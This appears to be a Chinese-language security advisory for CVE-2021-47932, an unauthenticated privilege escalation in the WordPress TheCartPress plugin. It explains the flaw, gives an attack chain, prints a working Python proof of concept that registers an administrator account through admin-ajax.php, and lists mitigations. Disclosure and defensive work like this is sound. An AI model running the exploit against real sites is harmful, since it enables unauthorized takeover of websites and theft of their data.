IPBUF安全漏洞报告
English
CVE-2021-47932 CVSS 9.8 严重

CVE-2021-47932 WordPress TheCartPress权限提升漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47932
漏洞类型
权限提升
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress TheCartPress

相关标签

权限提升WordPressTheCartPressCVE-2021-47932未授权访问RCE

漏洞概述

CVE-2021-47932是WordPress插件TheCartPress中发现的一个严重安全漏洞。该插件在1.5.3.6及之前的版本中,存在未经身份验证的权限提升缺陷。由于缺乏对注册接口的访问控制和参数校验,远程攻击者无需登录即可利用该漏洞。攻击者通过向网站的AJAX处理接口发送精心构造的恶意POST请求,强制将新注册用户的角色设定为“管理员”。成功利用后,攻击者即可获得网站后台的完全控制权,进而执行安装恶意插件、窃取敏感数据或植入Webshell等高危操作,对网站安全构成毁灭性打击。

技术细节

该漏洞的根本原因在于WordPress插件TheCartPress的AJAX处理函数`tcp_register_and_login_ajax`中存在严重的逻辑缺陷。在处理用户注册请求时,该插件没有实施必要的身份验证机制,即没有调用`check_ajax_referer`或检查用户是否已登录。更为关键的是,代码直接信任了用户提交的`tcp_role`参数,并没有将其限制在默认的订阅者或客户角色。攻击者只需向`/wp-admin/admin-ajax.php`端点发送一个POST请求,在参数中指定`action`为`tcp_register_and_login_ajax`,并将`tcp_role`显式设置为`administrator`,同时提供用户名、密码和邮箱。服务器端脚本在接收到这些数据后,会绕过常规的权限检查,直接在数据库中创建一个拥有最高权限的管理员账户。这使得攻击者无需任何前置凭证即可完全接管受影响的WordPress网站。

攻击链分析

STEP 1
侦察
攻击者识别目标网站是否安装了WordPress TheCartPress插件,并确认其版本在受影响范围内。
STEP 2
漏洞利用
攻击者向`/wp-admin/admin-ajax.php`发送特制的POST请求,设置`action`为`tcp_register_and_login_ajax`,并修改`tcp_role`参数为`administrator`。
STEP 3
权限提升
服务器端处理请求,由于缺乏验证,直接创建一个拥有管理员权限的新账户。
STEP 4
维持访问
攻击者使用新创建的管理员账户登录WordPress后台,获取系统完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual target) target_url = "http://example.com/wp-admin/admin-ajax.php" # Payload to create an administrator account payload_data = { "action": "tcp_register_and_login_ajax", "tcp_role": "administrator", "user_login": "attacker_admin", "user_pass": "StrongPassword123!", "user_email": "[email protected]" } try: # Send POST request to exploit the vulnerability response = requests.post(target_url, data=payload_data) # Check if request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:", response.text) else: print("[-] Failed to send request. Status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

WordPress TheCartPress <= 1.5.3.6

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用TheCartPress插件以阻断攻击路径。同时,应在Web应用防火墙(WAF)中部署规则,拦截包含`tcp_register_and_login_ajax`和`tcp_role=administrator`特征的恶意POST请求。管理员还应立即审查用户列表,移除任何未授权创建的管理员账户。

参考链接